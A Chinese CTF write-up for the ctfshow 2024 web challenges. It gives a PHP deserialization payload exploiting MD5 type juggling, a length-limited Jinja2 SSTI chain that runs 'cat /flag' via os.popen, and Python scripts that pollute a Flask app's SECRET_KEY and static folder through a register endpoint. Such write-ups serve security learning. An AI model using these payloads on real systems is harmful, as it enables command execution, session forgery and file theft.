ctfshow单身杯2024wp

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签到·好玩的PHP

考点：序列化反序列化

<?php
   error_reporting(0);
   highlight_file(__FILE__);

   class ctfshow {
       private $d = '';
       private $s = '';
       private $b = '';
       private $ctf = '';

       public function __destruct() {
           $this->d = (string)$this->d;
           $this->s = (string)$this->s;
           $this->b = (string)$this->b;

           if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
               $dsb = $this->d.$this->s.$this->b;

               if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                   if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                       if (md5($dsb) === md5($this->ctf)) {
                           echo file_get_contents("/flag.txt");
                       }
                   }
               }
           }
       }
   }

   unserialize($_GET["dsbctf"]);

代码审计，发现需要传两个md5值相同的不同字符串，有长度限制不能进行强碰撞，尝试数组绕过也不行，这里注意到可以让其类型不同而值相同进行绕过，构造 pop 链

<?php

class ctfshow {
        private $d = '1';
        private $s = '2';
        private $b = '3';
        private $ctf = 123;

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;
        }
    }

$a = new ctfshow();
echo urlencode(serialize($a));
?>
//O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

GET传入得到flag：ctfshow{ee28d4d9-8c54-4dc2-a1c4-5682bbbbe119}

ezzz_ssti

考点：ssti漏洞长度绕过

输入111看看

猜测存在ssti漏洞，所以用16验证，发现确实存在

于是进行ssti漏洞注入，发现进行了字数限制，经过测试，发现限制在了40个字符以内

可以利用全局变量进行绕过，最后构造 payload

{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("cat /flag").read()}}

ctfshow{89f67afc-5d2b-4de4-b700-2aaaa7428a7c}

ez_inject

考点：原型链污染

打开网页，发现是个登录窗口

先随便注册登录一下看看。

根据提示，知道在注册的地方可以进行原型链污染。

先看看cookie

不是admin。而且这是flask的session，我们也不知道密码。

所以原型链污染直接将密码改变，然后根据密码自己构造一个session。

import requests
import json

url = "http://3b4e7805-6cda-4195-8501-75be8c9d1787.challenge.ctf.show/register"

payload={
    "username": "wi",
    "password": "wi",
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "baozongwi"
                }
            }
        }
    }
}

r = requests.post(url=url, json=payload)

print(r.text)

剩下的就是ssti注入，这是预期解

还有非预期解，直接原型链污染将静态目录污染成根目录，然后访问/static/flag就能拿到flag

import requests
import json

url = "https://d3dbdfcc-6bba-49fa-b4b5-6c5e00484791.challenge.ctf.show/register"

payload={
    "username": "test",
    "password": "test",
    "__init__": {
        "__globals__": {
            "app": {
                "_static_folder":"/"
            }
        }
    }
}

r = requests.post(url=url, json=payload,verify=False)

print(r.text)